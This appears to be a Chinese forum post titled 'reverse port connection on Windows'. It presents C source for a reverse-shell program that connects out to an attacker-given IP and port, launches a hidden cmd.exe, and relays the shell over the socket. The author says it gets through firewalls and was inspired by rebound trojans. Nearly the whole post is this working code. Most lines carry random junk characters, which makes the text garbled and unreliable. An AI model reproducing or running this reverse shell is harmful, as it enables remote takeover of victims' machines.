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Windows下端口反弹

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这是一个Windows下的小程序,可以穿透防火墙反弹连接,当然这是最简单的!看到网络上反弹木马到处都是,心一热就有了这个了(代码很垃圾的)。 AN.`tv  
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/* ============================== z2 dM*NMK  
Rebound port in Windows NT I;xT yhUd  
By wind,2006/7 ]XP[tLY Y  
===============================*/ mS );bs  
#include hyTi':  
#include p jrA:;  
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#pragma comment(lib,"wsock32.lib") ]#*@<T*[  
~ R*6w($  
void OutputShell(); TY88PXW  
SOCKET sClient; \Xkx`C  
char *szMsg="Rebound port in Windows NT\nBy shucx,2003/10\nRebound successful,Entry Please!\n"; <"\K|2Sg  
APLu?wy7s5  
void main(int argc,char **argv) Qe4  
{ RCmPZ  
WSADATA stWsaData; wZOO#&X#r  
int nRet; ^iI^)  
SOCKADDR_IN stSaiClient,stSaiServer; 5-C6;7%:  
x/4lD}Pw]  
if(argc != 3) %d?%^) u,  
{ Mv9s  
printf("Useage:\n\rRebound DestIP DestPort\n"); ;pULJ}rDb  
return; jn+0g:l  
} "`3H0il;<  
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WSAStartup(MAKEWORD(2,2),&stWsaData); p(U'Ydl~  
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sClient = socket(AF_INET,SOCK_STREAM,IPPROTO_TCP); kKjYMYT6  
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stSaiClient.sin_family = AF_INET; pw$I~3OFd  
stSaiClient.sin_port = htons(0); 'l;?P  
stSaiClient.sin_addr.S_un.S_addr = htonl(INADDR_ANY); B@s\>QMm  
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if((nRet = bind(sClient,(SOCKADDR *)&stSaiClient,sizeof(stSaiClient)))==SOCKET_ERROR) vfo[<"  
{ tq*Q|9j7VG  
printf("Bind Socket Failed!\n"); _@@S,(MA  
return; n@%'Nbc>b  
} 2R5]UR S  
v)pdm\P  
stSaiServer.sin_family = AF_INET; Xpa;F$VI  
stSaiServer.sin_port = htons((u_short)atoi(argv[2])); ,O-lDzcw  
stSaiServer.sin_addr.s_addr = inet_addr(argv[1]); AOfQqGf  
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if(connect(sClient, (struct sockaddr *)&stSaiServer, sizeof(stSaiServer))==SOCKET_ERROR) dyx 4_!fO  
{ -9Can4  
printf("Connect Error!"); w6cPd'  
return; $>BP}V33  
} qt1# P  
OutputShell(); - jyD!(  
} Nh+$'6yT%  
b ;}MA7=  
void OutputShell() IBuuZ.=j2h  
{ nY*ODL  
char szBuff[1024]; m?m,w$K  
SECURITY_ATTRIBUTES stSecurityAttributes; qQom=x  
OSVERSIONINFO stOsversionInfo; U ^,ld`  
HANDLE hReadShellPipe,hWriteShellPipe,hReadPipe,hWritePipe; PD$'xY|1=  
STARTUPINFO stStartupInfo; `n%~#TJ  
char *szShell; ~M\s!!t3  
PROCESS_INFORMATION stProcessInformation; J*;t{M5  
unsigned long lBytesRead; v |i(peA#  
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stOsversionInfo.dwOSVersionInfoSize = sizeof(OSVERSIONINFO); -I|yi'  
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stSecurityAttributes.nLength = sizeof(SECURITY_ATTRIBUTES); Ny~;"n  
stSecurityAttributes.lpSecurityDescriptor = 0; TQEZ<B$  
stSecurityAttributes.bInheritHandle = TRUE; kNjbpCE\!  
-S|L+">=Z  
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CreatePipe(&hReadShellPipe,&hWriteShellPipe,&stSecurityAttributes,0); d3![b1  
CreatePipe(&hReadPipe,&hWritePipe,&stSecurityAttributes,0); |MRxm"]A   
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ZeroMemory(&stStartupInfo,sizeof(stStartupInfo)); X;0EgIqh3  
stStartupInfo.dwFlags = STARTF_USESHOWWINDOW|STARTF_USESTDHANDLES; f{)*"  
stStartupInfo.wShowWindow = SW_HIDE; ML'R[~|  
stStartupInfo.hStdInput = hReadPipe; 6-JnT_  
stStartupInfo.hStdOutput = stStartupInfo.hStdError = hWriteShellPipe; iFHVr'Og'  
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GetVersionEx(&stOsversionInfo); S\ li<xl  
Dho~6K }"  
switch(stOsversionInfo.dwPlatformId) &/ zs Ix+  
{ N2~z&y8.  
case 1: *i\7dJ Dj  
szShell = "command.com"; 0qTa @y  
break; 'Gc6ZSLM  
default: B02~/9*Y"  
szShell = "cmd.exe"; )V>FU=  
break; :N[2*.c[  
} .O,gl$y}  
hrW.TwK  
CreateProcess(NULL,szShell,NULL,NULL,1,0,NULL,NULL,&stStartupInfo,&stProcessInformation); 0}b8S48|?  
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send(sClient,szMsg,77,0); 7 yi>G  
while(1) Uvuvr_IP  
{ S\f^y8*<  
PeekNamedPipe(hReadShellPipe,szBuff,1024,&lBytesRead,0,0); C qxP@  
if(lBytesRead) ce;9UBkOg2  
{ )Q\;N C=4  
ReadFile(hReadShellPipe,szBuff,lBytesRead,&lBytesRead,0); 4dy)g)wM  
send(sClient,szBuff,lBytesRead,0); ^]v}AEcmW  
} p\,lbrv  
else I,#U _  
{ :2?'mKa7  
lBytesRead=recv(sClient,szBuff,1024,0); [OT@gp:  
if(lBytesRead<=0) break; ZNx{7]=a  
WriteFile(hWritePipe,szBuff,lBytesRead,&lBytesRead,0); PEBQ|k8g&  
} w|M?t{  
} 57oY]NT?  
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return; 0J_x*k6  
}
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